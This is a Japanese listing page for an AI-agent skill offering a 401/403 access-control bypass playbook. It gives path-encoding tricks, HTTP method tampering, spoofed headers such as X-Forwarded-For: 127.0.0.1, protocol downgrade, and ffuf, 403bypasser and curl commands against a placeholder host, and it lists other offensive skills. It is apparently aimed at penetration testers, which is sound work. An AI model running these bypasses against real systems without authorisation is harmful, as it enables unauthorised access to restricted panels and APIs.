Communityコーディング&開発github.com

yaklang/401-403バイパス手法

管理パネル、APIエンドポイント、または制限付きパスでアクセス拒否応答に遭遇した際に使用する401/403バイパスプレイブック。パス操作、HTTPメソッド改ざん、ヘッダインジェクション、プロトコルダウングレード、自動バイパスツールをカバーします。

401-403バイパス手法 とは?

このスキルは、WebアプリケーションやAPIで401(認証エラー)や403(権限エラー)の応答をバイパスするための包括的なプレイブックです。管理者パネル、APIエンドポイント、または制限付きパスへのアクセスが拒否された場合に使用します。パスの変更、HTTPメソッドの改ざん、特別なヘッダーの注入、プロトコルのダウングレードなど、複数のバイパス手法をカバーしており、各手法は具体的なリクエスト例と共に説明されています。さらに、Burp Suiteやffufなどの自動バイパスツールの使用方法も含まれています。セキュリティ研究者やペネトレーションテスターが、アクセス制限を回避して隠されたリソースや管理機能にアクセスする際に役立ちます。このスキルは、Claude CodeやCursorなどのAIエージェント環境で動作し、与えられたSKILL.mdの指示に従って、具体的なバイパス手法をコードやコマンドとして実装します。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/401-403-bypass-techniques

Installed? Explore more コーディング&開発 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

401-403バイパス手法 は何をしますか?

401/403バイパスプレイブック。管理パネル、APIエンドポイント、または制限付きパスでアクセス拒否応答に遭遇した際に使用します。パス操作、HTTPメソッド改ざん、ヘッダインジェクション、プロトコルダウングレード、自動バイパスツールをカバーします。

目次

  1. パス操作
  2. HTTPメソッド改ざん
  3. ヘッダインジェクション
  4. プロトコルダウングレード
  5. 自動バイパスツール

1. パス操作

URLパスを変更してアクセス制限を回避します。

テクニック

  • パスの末尾にスラッシュを追加: /admin → /admin/
  • パスのエンコード: /admin → /%61dmin
  • パスの二重エンコード: /admin → /%2561dmin
  • パスの大文字小文字変更: /Admin または /ADMIN
  • パストラバーサル: /admin/../admin
  • 代替パスの使用: /admin → /administrator

例

GET /admin HTTP/1.1
Host: target.com

→ 403 Forbidden

GET /admin/ HTTP/1.1
Host: target.com

→ 200 OK

2. HTTPメソッド改ざん

HTTPメソッドを変更してアクセス制限をバイパスします。

テクニック

  • GETの代わりにPOSTを使用: /admin に POST リクエスト
  • HEADメソッドの使用: HEAD /admin HTTP/1.1
  • OPTIONSメソッドの使用: OPTIONS /admin HTTP/1.1
  • PUTメソッドの使用: PUT /admin HTTP/1.1
  • PATCHメソッドの使用: PATCH /admin HTTP/1.1
  • DELETEメソッドの使用: DELETE /admin HTTP/1.1
  • CONNECTメソッドの使用: CONNECT /admin HTTP/1.1
  • TRACEメソッドの使用: TRACE /admin HTTP/1.1
  • カスタムメソッド: XGET /admin HTTP/1.1

例

GET /api/admin HTTP/1.1
Host: target.com

→ 403 Forbidden

POST /api/admin HTTP/1.1
Host: target.com

→ 200 OK

3. ヘッダインジェクション

特別なHTTPヘッダーを追加してアクセス制限をバイパスします。

テクニック

  • X-Forwarded-For: X-Forwarded-For: 127.0.0.1
  • X-Real-IP: X-Real-IP: 127.0.0.1
  • X-Forwarded-Host: X-Forwarded-Host: localhost
  • X-Originating-IP: X-Originating-IP: 127.0.0.1
  • X-Remote-IP: X-Remote-IP: 127.0.0.1
  • X-Remote-Addr: X-Remote-Addr: 127.0.0.1
  • X-Client-IP: X-Client-IP: 127.0.0.1
  • X-Host: X-Host: localhost
  • X-Forwarded-For: 192.168.1.1: 内部ネットワークIP

例

GET /admin HTTP/1.1
Host: target.com

→ 403 Forbidden

GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1

→ 200 OK

4. プロトコルダウングレード

HTTP/2からHTTP/1.1へのプロトコルダウングレード。

テクニック

  • HTTP/2からHTTP/1.1へのダウングレード: プロトコルをHTTP/2からHTTP/1.1に変更
  • HTTPSからHTTPへのダウングレード: HTTPSからHTTPに変更
  • WebSocketからHTTPへのダウングレード: WebSocketからHTTPに変更

例

GET /admin HTTP/2
Host: target.com

→ 403 Forbidden

GET /admin HTTP/1.1
Host: target.com

→ 200 OK

5. 自動バイパスツール

次に示す自動ツールを使用してバイパス手法を体系的にテストします。

Burp Suite

  1. Burp Suiteを開く
  2. ターゲットに移動
  3. リクエストを右クリック
  4. 「Bypass 401/403」を選択(エクステンションがある場合)

ffuf

ffuf -w /path/to/wordlist.txt -u https://target.com/admin/FUZZ -H "X-Forwarded-For: 127.0.0.1"

403bypasser

git clone https://github.com/yunemsei/403bypasser.git
cd 403bypasser
python3 bypass.py -u https://target.com/admin

手動テスト

curl -k -v "https://target.com/admin"
curl -k -v -X POST "https://target.com/admin"
curl -k -v "https://target.com/admin/"
curl -k -v -H "X-Forwarded-For: 127.0.0.1" "https://target.com/admin"
curl -k -v --http1.1 "https://target.com/admin"

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

yaklang/cmdi-command-injection

Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

関連スキル